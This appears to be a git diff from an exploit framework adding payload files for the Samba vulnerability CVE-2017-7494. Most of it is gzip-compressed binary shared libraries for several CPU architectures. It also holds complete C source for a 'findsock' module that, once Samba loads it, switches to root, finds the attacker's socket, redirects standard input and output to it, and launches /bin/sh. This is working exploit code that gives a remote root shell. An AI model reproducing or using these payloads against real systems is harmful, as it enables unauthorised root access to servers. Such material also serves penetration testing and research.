b/data/exploits/CVE-2017-7494/samba-root-findsock-sparc.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..67cec6b2378c7cd7f9f3e70fe05d1d0aa01e6102 GIT binary patch literal 2681 zcmV-<3WoI`iwFn`_bFKd19M?*VqqTa$_!YZvgEYZERG> zao@X7gCU18!F8Pa(o*48@Ho@MI1LpC=1ibAALfvPRO#LG-Lvn)eOPzzkjW2x9Bxvn zZDa*hp(Yg;Lj6oFs#uXhNOy9O`k_{GB}bx)lsY6)qc*Lmg4(pDxz6s+-o5uYnnvoM zN;hb|Gdr_0v$ON|R_siLhXy5CA~kRj8UDh6YX$lsAw5fMJV^Y+O?pTt*~s~3SoKxj zhzmLJw|fhbuo3A8(B@&>gM6^j9ReP2gjBG(p*gYLHMLFH7%y(Tdz3T=I^PHU5vzT& zjLnI@)4rXqcK@N{~{Xb(a2LR%{WLp~l{=#TpW{MFd|(5IG6dCtav zALcKk@pc}MRqe>9ewA(VBZB@65qV(IUx4sHe54C)JT}i0)8YUYZ2GETe+Bt8z8{$U zp|obxf7v#_-^PbrZh484Xx}H|)yCsBXPK|6p6WqnK$%YWOyKz&FB$rG^KN1V~!e|)Tjb2m3#)sgQwIHlp9EC`MjPdc`ZGvF-vMX z8!y15w4RPloF=h^mKoPoBdg}JSwk)4^&A=3jeItCGNYw+lGihF5-&__C;FrwJ4KCw zE|lyd#3I+YxaDfz6@M^rto85+zP&FA@oVF(oNA3CsiK;5qNDqpPO z!5S72;gVUC;Gd)Rjd7abc_J~IelxelcDE$E^E~$@I>)yrnQZ5&D*2H1@%d6G=5i~` zL8-eRaGsBne+gO_;>(P#kAq%kJI;l?YZ16lD$YiUTqI5!)DRhbh4&*`KX=&%Reb4bHx{;+=C;HU<*JE#bzPo3J-k zt^Re+_11?DJY>M;@=T|Hxde7+TorGLL>(o6$O}HWy+zW3emU)aU8;nL*$6PVIU6n@`*H#Ff+g2n! zsLyNC=f<%m>JP;B#1cgG2^hQH9ldqkRe6*i(uxs%Y-9`CQrAQVxhnNn^UsbODgYv=GS-OUj z&o3=170X&0tm|8Iu9XOl-%RK3T{Lcs@O9w2oOBJoa`g(G18eE1t*>1Dr#W6A^I`)V zN5DpS&h_^DU?)%I7NwQ;#m(h=;2ZrY!=;WhJv2Trwoutzz5(Mtz^@`N05OqDp7PSO zJ|a*1{F^U8|ALP=W_$!<8vY3LcD2Mmawp84_Z3MWrKdgRt1!2MbEG9tc^+ilJT}CO zYuv>A+E}if>xuf#1)@F}mtp)dCI_~^4ZdCg+jSk`4=L{j7)ScINDKb!NXtn7hS~6x z7r>_l&;>jq;~IX);#aJHOMp8B4s+&9WU5NnMRDqLd%5~c++T7Pblmim@6otUUo1*= zto}WRud!TykAJh`+l28OA_jE6olo}+_RBNpy1k3%>r{Z|>!N4sUU7D+3i`d*0jGOU zd!Bz&)wXi=p8eY~;J3v8!Bf~jFz_XR&+*Yh#whrAC_yE#wXeXa-ZQ;@ zN+788ex8r}w+DLr0)2tUAGDOaxE@r^_LI^w(l?OCS^&1s>}`Y7&JfZrq*F-aTR+=Z zN_#l%68gPJTi^0|O$Md0u7JN`I%+int9p=bMfxeE*Wg}nL3%CHL8Ko-dKc0@b8a~J zlbyYmfMDKIdOgxhNQ*brWu!OQ^5bFCc0sVJe_`Jb`X_P!I)#4{_pe9zCvpFFh%m}L z9y@`KnrMi%`&TCVAo?Ro+@BLb-=gM`9*1qXXp(;p=qo0=1oS-LG#)X>0O)tyVlwfxmGX3 zlU44t>XWw+OYMl4qLx`gZgON!-Zh)MR{;Qhg+* zrBbS@# z)sAeXksPiVQAI<6b)L`*djh0IAMwUekvMh*{z_Z=Sz!}<<=WzYVw z8ridVC|nDHunmgTgqDfZ0-1d$4(%B}FaV>G;Q=ABf9UYuJwxi@!NFtUh)_aHT|%LH zCCY!Q$l)b47HO<^;l(_*N}0M~&{ncj=g@)}TYb>|r8|vkc6fD;)t5}%T6xo;F342s zbKj~PuKE6IA6~yi>x9f2h>|~@HndUbjU4Y20?T9#T^Y|5l+i*m72leS6D6VL6GVxh z&cH0*8#%&cPU*RPGMljwD)4f8N~3~^O{5H>Fi#XipM<|`3zS@zZHS^Lc+wJu+Fw4O0O(KY1}yl2V8T4z{4W;rPQ4#(<{I`9r~h1Bc+ zM7?4V?{qT17qAvZo&$S&RP91q=Jy5Kq)oQ_B!zu=x0Crjg54#ynC!~fj`F)8lS|

    jw_&sBiTj9+a zG|Bm~FV^Mg?*#j;Xm6nJSt9Do*nNlHdA6D4@b1KF3x(WM_*?93pzk8eIr#m9-9fw! zK;DhrBAfJM^-Si!`SoM7l_E-LqUEjX}ti(>+;4ATa$`0$E^}`H?OT6r z6W1MoceWElQ+lKUvJ{G&A~kfy7!*QSt8x&+uO)Ve6}yKi|w=QGX#W)F^uky zs*Rwkkk$>0KWa3luxY5IQMFheTBAu7nYyX`*9^3+()LHTNh_7my!YHEJw^Sdun!sp`~+J-Lv_~`BMUp~Wq zSHi0uUeCa56~@|dxdL8K;rnIqS`Du?m}j}^NjM=(9FGUjRXsmEjmuVeJ&S$5Byt%x zA{AdTc&p(rpQZo0>MiepyC`_L(_ZabpFRFot3CdAf%sSGoTKp7t){PA-lp(b2RXlT zz&QtdvaQCPp{YBDyM6+H-VyBkPdmu32xOfIo%bpHUldM{OLnm5x`X^)hyL?b`&-ER zL|uhe`+1+Tl`lzS2{kEYG&!wF5|Coam*cn(ocv2e1{rci^CZl9PMoxreU6YhhBU#9lP!i$PX%LRe$uULJ zR4J{hnv~5bX)vZ}88v(&DJK+=QIZi5$)>gfWn2lLM9QGy;S*9gdO{kNV{xDhHRNN_ z@mMJA+$ASn@9lOazilQ9MiAt-R)z=7R;(pG=BdAF7J5U*bx{O8i|IkOIMozv^+ z{sD;rPsd_y#`D6VxFf)NtI?lZQH^H4cCyxS{5p*BE-T(y!gw!(&so}Q`+ISWX|qOA zpMYZyi~DfwV(|cuKP)a{jKN>XVZEyuyny2!iZnWqGlz zCZirIAse7io9B;-z`)KO-T}*t5Wl_t_5H8H``eyU$ISZB{4}i3cuMQ0J*Bl}Nd(ir z+}e+K23*t4J1e<@xV9q*o`Qbje%O_Al~0MF{DT}%>_z=ipXF-h8`KBddmZ6O(6^}C#5W=w%DG46ybo=E586V>y07!%_RFvx zPXrHMzm z!bF9K&+tt1#3QsuP-(2siAt+ldCcmf@1e{MbiCOdiX}H^qA1k7SUEDd`#OAhN8q}Z$HK;)idU9030|0el{<|Lq*9 zd1S?#e7KI!HqCR}WwgFjb-XU7u8&KtRQ`j9wTSB#+E1{K?edgx{Tr)ao-mo`<_-FP z6I>vV<~0JeWxr`-qJXX~_!u>DS*_8@G( zRi_<|zgVXojsKccJE47jec$nQ9SvoZTGqGC-|Y`<>dET0E$6oM_ygVkEgKEow>7Y( zC(skvv6Q*ND$M*4g7Zv#BDjl*O9Xc_@r&Rd`Z=fYCOSS)I2(ru?q%W?!JYCdaJ)40 zdkAiq$AEAguUiTXPU7}FgRj7GrI*2QIw&SeLS2Hs3P^KF#0r)eg z6Pg@?rIt3zD7j0jn&KZzX8oaTEFReuivWLA&P0JfaykjQj8aPjz0XM{or$SQOGSch zX(cYBj`%JW*MMKQ#IGsi@K<-cKdtJM;8&u?k_CQ!)j<_T@n$%!tCJJ4FjS#JMuP#m z4fa(N2_>mLp)LM%)ORIs-A~r!9Rr*1Jb(53m)&=o`_G>PYtE~elG9Cn5A)XjsacA+ zuZ!VF-?Oh#IB(s@lG6O{X216l?V-MJdFy`H-1i0;`+2H-qx!vU@-H&`;{djwW9&y1 zr2NTS_s`}&`o4qz(74{D_;*|P+2($G5%WK5!>>_xHCf*e=6hm)o%ugg%TM+vq;wB3 z{Pe3USIbY{>*o8tt&aXn6hCkM4lut5HZ%OR|KG9UpJ(=c?mGIf0_N{2)qS?P-xliV zzh=Xa{cY~c>+yeR!;kkZ=Kj=MhyP~P?24*>$^CzmJ{f{SNw3sZ#vS z)_p7~xst=rob_$_#CwR!%RIqTnu<0pT^N&kNVOuJI-pfdmf+D635 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock-x86.so.gz b/data/exploits/CVE-2017-7494/samba-root-findsock-x86.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..2c55e5fd01b778295c9b9cabecf61a34b9f9ccb9 GIT binary patch literal 2774 zcmV;{3Mus;iwFn^_bFKd19M?*Vqqv~ z-o5$Fym|BHYv;||?@Dd0f*=t6vA_?}wj4t0fY+6?{5n!e=8y+G!}?0_7yj zlgpYXomg(Lj~Xnnx`N(59ScI%Z|)(1z-uqw`B8qE>qqB0cO+bsC*O*ySXMw-Ur_He zq*4%1G~^ZVuHOdKBwa|n@$rG(FC02w-LSm&(Myj#yzG}F*NUb;_^ilm+hIc*>n=0k zN}vx-<(&q6JGa{?|Fi*PpMPemubAYYGnKD1mA`B%p9HF@)b*ETQoE+?;JA7F02 zPUQ~3%N2K;Kb((6@OS@sgyIjEol#p~GxaMMn?lgl-Gl~70xk&xo+ zRcK4HFW?G8C8t~Q_p7oNkb{AMCWk|6ko2osDB#@TS9~f7seTu6g$LFWbx?KgR0*xj z^l%kkPp{J+3fSwx0_cr%hwOCkkoy#mm&mG1(GryEP;p@;s*Z_(t5==h}InCDtKA{Rv9dQ~i)5j`xL~i~lvp{h zu4Fs`I2RhciX2RsK@Km2S>zya1NnT|FCae;bt8ujREiunOF42_8_ST-gY||SEUQAE zPe@lJVT&JuhMpMjT1rSXGLuXu_a4`B;y;GW$O+pcf zYRQAxGdC7bouwFex*Id6j#G>;JU9MLjZus{(Tyv0>ZcTA(p`;slwy1{xp5Ar_E3Bk z{`y9f2WKdcE~^^v8%_V>WiS9wyc1nQ$jCD_P;2DLHSoXcRAe@HXIb>g1nXL1&+ud< zQMx60Hgck5;`8z0>m$cjVkhDkaU9N~H^hav3Pk~|OEqFZlFr1e2NUGaxN=!x-vE{4HOSoge%`bcj{S!U6vtcM-c zrirO46fLb9M|&cP?)Zr>&?FbAQD49r8kS~ikB>y$@nmvXI(kyV_X{~G9ma`^N$&%l z0s0lt**jv=xnxW_-xZTSXpc!BHpQe1FUF)_-y4%ILir`2-yDxgzugy;erJhEADxOx zzlXd(0R0i@GSHuZ{tWan&|iQifvy1k6(|lgCB&ppfKR((QsVKL^eOPa0sd@%Ou7pE z8qnW?J}2>4Zzhu`r7_%4Q%?~(!Xwh*juGitM>0GXKYWu8=-%UDSMe{TV||fXF}!s< z*}if_dY=kB#{^*hwiCqPNMix<(lizk=QA9YjzUY@$w<%9&W?CJ%bd23P79+E-aNEuI#S( zlAAbFZWzb@Nr>$&y(zds$h`~t`CP^bC54(}p`{0_31`@T#0 z-Eax_ftPXok1vvebpkunUJ;qPLBQbhlI6hjxqofpmno6oukg%R00d_w@mg8B#>(zj zcxEjm%)f@?C6Iv1aP$PwMsUjlF~I)@ZuuYkkN0o=xdLrpw=&;-5zq>tdZ5-E=IgI- zZoaRwx~Dhn*TR)|+w1I()%9VDY9Ftyw>#?Wb*or@cT+G@_;gZxnis1#6TT}Qp%55pUFk_A^+!IQq@Ym88bcz>I zUY){aY&=r9JYya#u(FMD11q_fEHJb$K>N7%2YCNQ=s)g(F$1=f^!`EI!rNmZm2%Q$ z=$`=n+okV0F8`EaJOmhzLneF7_Pq)G;XGZwgiM(1B_{a`eEzJwy=mb44eev-OCK)* z#;XYMeYSLYm5?5P0mgqd;07DpyR^STdcHC8^N^4pZ`9`$((@z0{0s@1ag<>pGtP2I z$c(ET7Bb@?KR4AsBV@*bJ~8S0myj8E$rm%@LKR}BzFILej#DpY#%Y?wO#R<7)%Tgo zpB6LYK+lSqah{);>Jw*B3u)oLKD(31@}}laxou-tw=9!%d`H%NvJ>MtA&_td6~>_RkhBrCz7G9;^hEjUE_f{IU-U16VZ2&xzm z3ji5KX*_2&Mu1j>8W%=?sJX43jqQ>wZEnE;6*XQ@53Z}X_p6#b;FL9Y*uTTxJD4rk zg}IXsW&6AGY^~ zJzm#pkBd;`R^S?JcMbWWCgWO=mF!f5Ay2@c0c0o(s$P_1i2<)h?9>)a+WP~L(9}Wr zr?X)X2I$<_RX1P5ZdWjkSXH)|Sq(kC-5I3TC_ayqpjy@vQwF0;?69qTu>QZgZ-HmU zJRXZQ#`4qeXZGM3avgjbk^2Hj4Z6Q%i0h-zl+X2{k1)u;D;VSUB_v%}IL3 zPi`R0rxLkOfwaQVt{zA2;XatieGQ}rlG!fdF@!u`2YnDEb3gD^?&ESz+&4j5$K@6o zvtbnJoJBIn$qQpwD4t c_o!OK{>?M#8-+o6O`NOmKk*z;9K0L=0NO@m4gdfE literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock-x86_64.so.gz b/data/exploits/CVE-2017-7494/samba-root-findsock-x86_64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..a64de85bd149774bf5c2b02e49870a148eddb234 GIT binary patch literal 2654 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 M0i;i}GY}yF01FCa-T(jq literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock.c b/data/exploits/CVE-2017-7494/samba-root-findsock.c new file mode 100644 index 0000000000..48039edc6c --- /dev/null +++ b/data/exploits/CVE-2017-7494/samba-root-findsock.c @@ -0,0 +1,55 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +extern bool change_to_root_user(void); + +// Samba 4 looks for samba_init_module +int samba_init_module(void) +{ + char *args[2] = {"/bin/sh", 0}; + struct sockaddr_in sa; + socklen_t sl = sizeof(sa); + int s; + unsigned char buff[] = { + 0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42, + 0xa2, 0x39, 0x00, 0x00, 0xc0, 0x88, 0x03, 0xc8, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x64, 0x7e, + 0x64, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x00 + }; + + change_to_root_user(); + + for (s=4096; s>0; s--) { + + // Skip over invalid sockets + if (getsockname(s, (struct sockaddr *)&sa, &sl) != 0) + continue; + + // Skip over non internet sockets + if (sa.sin_family != AF_INET) + continue; + + // Send a semi-valid SMB response to simplify things + send(s, buff, sizeof(buff), 0); + + // Duplicate standard input/output/error + dup2(s, 0); + dup2(s, 1); + dup2(s, 2); + + execve(args[0], args, NULL); + } + + return 0; +} + +// Samba 3 looks for init_samba_module +int init_samba_module(void) { return samba_init_module(); } diff --git a/data/exploits/CVE-2017-7494/samba-root-shellcode-aarch64.so.gz b/data/exploits/CVE-2017-7494/samba-root-shellcode-aarch64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..b6eea7a7de2923d4cb983df18694d527c266da77 GIT binary patch literal 2599 zcmV+?3fT1@iwFn__bFKd19M?*VqqG{(k-7?P!hJ?E8CteaJ?lS=aFH$J8c(sck0Y6Qb8?< z2ECj|g@{rAC>jkABPHQH<@DgrKP2%&PVh)oOe&~p%o$2hlQmb?cixZPcfMK@@BX-C zo_6+`=l4F(`#tl%lgw|v+}62G6a-)rfY-pZhAN32rFeU+H|3%q5^ z9IFNpO1~B87@JSfvH5~UA74%I6RWLpB8{7*ag)@a>8rFUOw(pSkRB%}Zr3Zps)JNN z`!^$10go;rs=HBKaGLh562YPcuH0HY4gm4(yI}jFXMYTp&%e}J+_>lR+h4n|e%|k1 z2bx|@`(rjbj#NUs2;r~KIab+nd{#7QrY%IrV$=D;hKbg;ci+2w_gjb0{OHE2H~#pU z$D_;FzBu-|=a>EB<@?nK5?fCFm426-+k}&;7n}{KoyM6cEdw3F<-D?XK6j` zvJ4$z7rYxCD_ro`J@UEWfnV~#1&?xH;l_@aA9~~?d*rjp1AmC~e+>GYt^IQwYq2; zfNHlhMEpZf5WLExT_8z)Sv4o=hO8Nq1X4PeHbCk{3Z#ximy}X8r7x`;ik9e#Wz?LK zkb5!;Npnw;k_Tlo138oa0y3XDAazr}SVq=$MTY@-Fr&&T(B*88j7yZVYATO{ll^k8 zPmv5&(p1%u^17lyHY*Q6R>>v@2BBBg_Cudy45U-AKb^?{4kr1~EHdeyWJFgZPl2SQ zWJ5+3>d|%5K>plpEVh(f3ZGMr6vR6_T4U0>$l7MsO(H(XAG6I_?fyqnZg6w^^zgSU z%&5hJ^}ZCKH@tQ_PsVLHP`o{4^QZRDYv_GFSiX1S`O4w^I&qD|t2q1}4zJ_zF%F-{ z;o}@W-!hTudJ!b|N+y*Y&etcz;r#u+j>Gv&BFy2H9KMRf`F5@0@J0Ong2VYsD9Yh; zIehBSm2*=87+wc(YU59RxWsJF5!4KXPc{rK9|m+ZEQ8?&fZuN21ozJYBvAT^hTHK%3yKLt{VmrR z}13HEia+tk#UiTn)?5EY7%TfVl;i?B@ zW`8i6$UwrY!7hinw#TQ?E@x>QkeDTE>UwrY!7hinw#TQ?E z@x>QkeDTE>Up~?jkHtP2UbU+ypEL4Jo#~vcso@Qg&5`wuYuD#7x^6WAX3i@BLW!?t z#l_P5l~z1Zdau%o2TSi?TJc$>_ZY2sMd|%VD?ZywmMGzsrS~nZxEF71j^jN-g3m4S z5UseAZ$$9kB#69T;IP8z(N?Ual;pt-cz;WwI$w+6?gKh z2)@{XnO;G-U$o;d;9qCI?E&*$*)m>h@pq03!JYlQZ`yLJ;Flixtg+?uYma=cCR|NO*1&?yShy9)7 zbr$3Ii}vgBBK5cT&#$Pz{W>N6;Jp9b6x?~Ae;3^OoucT$rxe}!tWS#W`F~b)=SObw z@b41c`J)NZotOE7NB+GY`45Wj?L98K^Gd%fy7Op%D!TJQf96r{Z#?Sxwg>)ukNzL` zsQ7J&(WU?`-sk+`I%UZJksSS;pbS{6eu`iczLJNFT zBvSr&dYCz&1XCq7BOOs;Sk|wiOhm|Shlv1U>jM^h-q?Dm*x+LdOUDfPBMlqCBq&-SCg}fl*(tbgD8Zv2pgAo#pK#XlaAY{_bZu9QcWqi%GtYb?iCQsM`m?UCrF_b7wSkD|Om@tj4zE-~UqfwX{;n}1z+e*%*%G6_? zsO&@24mN(9Z!NKZbUNj0WZfUSO6?}tcgFozO;< zlc*5Yz&|8EJU$WBJrF??K8t4N2lSj^@~UP-na||)eTwp0X_W{%{!=WfES^0NF#Td_ zFG<9{t=Sf5u$m7rDeAgz`60OkwK` z)3q~fQwi18O`-?8}ecWsExzGoA(#j}3B zY%8Dbb4P2+*SA~wOkc6rpTf@P^*T2Bw4ZXh{;NF7k8UOU6M^Z={~v0W J@%_k20073mR|)_C literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-shellcode-armel.so.gz b/data/exploits/CVE-2017-7494/samba-root-shellcode-armel.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..070407664ae45111d6fd1c7f5d047e47956c9a36 GIT binary patch literal 2673 zcmV-%3Xb(3iwFn__bFKd19M?*Vqq6lb`q0>#7PXKA>E!TCNimcG1SnovdJNYB%K3Y2pVWiug~^N>|y(*_A?_@yV8yi zOe>A7;U8{~wY|C1$nmRr>i7fs~v=W=9YQsC{-TUnO9%frV z?8Bt@gOhX5JLjHz?!V{zq<7v^L(v_SQeweNdI(DMb%cb0&kevI52*_iiPVFxi>x74 zYYso7I#ZygKG=#xO&aMTBnni|^&a>uwIWfIiXbDQ-pA>dK!Yu)joiCo|DPY*+x^C|Pg)L6 zY(07HgPSeCA02&R-_27qwPNqAv&Mgg$-7%Amjh&6u)7a+f-C{OB*^W&kD~sU4*hEm z`M4nC`2ED8KjV;9hyQ+ud>iP|2PyX#B$t5iugD#wjoS6+fnS0_?lk>3k$*bsKZ)Z5 z`ggg0+2${3#%zsWJB;5=haTtXR)eK)CI#Tp040I-gtS3CD;)6?JYC82ehz}oB#<|^K zTFvLRJegK!(z==;c{LML%@&o6o+v=&cv8(yX^NpMIbAoDLSD;}Oh%n187&i^o*|QZ z?f{w6jOkQ@97v_p#H`Hxa2M%REH3ADc{5S8gleb|P%NKk9TdyhSyR%o3A4;OFftq+ z-8QIfl*4?cJr%0{WxM}w|K8{83lU7ER${Hye6iv_U4!$;`AC5A5b#y78N$HUvak7QaoPtfBaVIVj~3o-tnctZ=YSd`03e_Reo0}pB2il z3FV&&<$0m}f>1swl%IuiFf>~VO0y+z=y=g1J%1VQaLb=7_tE8Y`C1fW!TlEon=oNE zu%nCK(07+eXs}pMb}vgIb{*>cpcDLfLg-_+>7%3Ew|Ha&C5M3m;0tHBKQLSB2VXS6 ze38IFaiDE(u?PIT`1z-cZwFpoIJ{IG6yXg82jFlwB`f0h`h;2Ur@dhI2uDlKUh@X;f@D;&zI?{X9|LU=&;KJC_ zd}OxdiySXL53!KY+_Eoptc08ZzYll=#CIfs?anP91Dhaef;n4Tq9nfzE2RrlkN-UtbZJTlPZz zNgfZD{R>}R3LHImWx>zxYg=(sK_7h3hZwJib_8s2ZR5HoE?l^9;lhQB3NFHrZh}3m zn$J>rZf)kz7%Ta+#6A4Xx|Tm9cJZ@oH<$lW!d~;C zgFO?E@aNJtAUyjn_*nUe3e|d7UsVqx0+ncl|x7sxs5prSaQ3`M=ElM$*o*5ule?66<)H+A+NUO*7?XM z<-J0G@U6~o2(ky{B=GZsey=b-1jc8t(0_c(^gs>&lEeP*g8i=?_P-OxgTi>A{RN@@ zj|AC@&sT4cFDS^D1lh8m5cEl5Jn`*Rte+6{HwD?M|GJ>Bqip=C8E??kcUIm>Z6!fk zl_|*R|DsU;AzGC!|IH2d_<|LGEo7KhWeRdqn16ixc9Po16ZKI?|2iH17aHv2cS(?) z^OF?TH@;2$B(2I6zNvV;H=fh;`93w5=}o7yg+skl*#iDX^lj>s(3PpQ9#hjw!q9VhMJ*g6aXmAg)(kBnZ`l&sRNKf*&sEf1PMuM-tdW}`lQ}h` zDTzWRGXqrwiDlP{re?BiFQ(V_=95}F9oG|@8Sjqqfw3WFXy|?Q(mAh=_30IPag%o2DbC*I;;Gxc+PB2&7|Vcgbr2BDU)H0 zhz#pH0}GMJ1LI?|Y8bgxtYE;9dNghp3CmIO@be-qT%skz4ZJto*$IWdPF zc1TYMc6c5{dc7A9W!|orpG&&$Vt0o3!Aq>~da!SL_#E@`y5P?|hXmMsILGgtV29_M5wHuczq8$U zxL+?n$L)X69-p=TF7R@Q%V_tI!w%_>%-6Ja{S?^s)bQ6PtTn`0*a(X??5sJna31^> f>sbESu&|F-IQ-3h8OGatr@wyzvQGpIutfj>^F&g` literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-shellcode-armhf.so.gz b/data/exploits/CVE-2017-7494/samba-root-shellcode-armhf.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..e215f9964a81dc3d0c3dbf21c7279d13acb5e836 GIT binary patch literal 2649 zcmV-f3a0fRiwFn__bFKd19M?*Vqq6db`mE9;sgUGWSt8cWTSa;Iz#yCmJjEPIIyKb3tOhgi~SONJo^RvnI(jEsOq*< zVxlV5U|LnWjY(+Q6si>o)~2nrZemrnL90qzHBBifg0)O36KxpM>YelMefIUkY~3IG zW7GS=@ww-nbI<*F_r>=~_vdeRhPwnoASRrofuMD|gpeTUvu*InDkX*`7=CXRieN}j10i9MQs#HSr@snCFk}vFlv1N9Dz`YPXJY!kIIl-Z5nz1} z$N>2H_HV$o8?3ItwAUCbA>F(7knR(=rZ;`%M)l9Pf9I)$rATti*3K4+|YGZ0<%42fQws;KF;=ooZ;*mHb&n6 zg2n&5#XiQ_IDbF3_-8D(Y{|dHVt)j(uSH<_yyQ=yhjaFFQY{qvUjbcRM%bJ#A^)({ z{|4yq!_A#w{;LJ~yhfkR`Ky8XTd?@?9{I~meqHs_MWo)rekrP?l(BePS5kxh9jca82IUb|p}yiCDKa5r0$Gh80(0j< zX@JFbsB${3q{+BEscLeRq~*kjY_upPv}gt@M`ChvOp$a=N@pQjGTq~$IskeFJd8oq z@Gx#c4QpWsY9Bn5s4EExp@xi=pjSe?2Q{n-FKUSQp@ub3huRJ60rhhDyMh`Xxdzk~ z@OKRL5<=Xqjemi){GR*B>~+^%x7sxu{I9W%IuU%KRw*7CO z1H_+Qj4f>0w>|cYo7v9`m&v-?xoxqkzN>?Z8 zm#1PUyR(biz$(Ar2mS!$^>tOY%yvC7I}GjafOe0ZBQx1W5n_B@M`p>(xDId)5F0jZ z*sx*4#{V@EuwQJXFRRA86z*Fq**nHk_AarS?OE5bcf?w@cdcXg2OniMpFrP?cW z>^q>H|G`-ORr$BY`jUSy_X6(MztFZfyt^%AFCZH>Y}l}2!-fqTHf-3iVZ(+E8#Zj% zuwlc74I4IW*sx*4h7B7wY}l~zKaK8=j&1&iJtLW#C`R~Y(q&R$|@lcVJ{PFoVvkh7Q4{^dAv%V_?bU1eyVGiT(>+0`_W$Fyq< 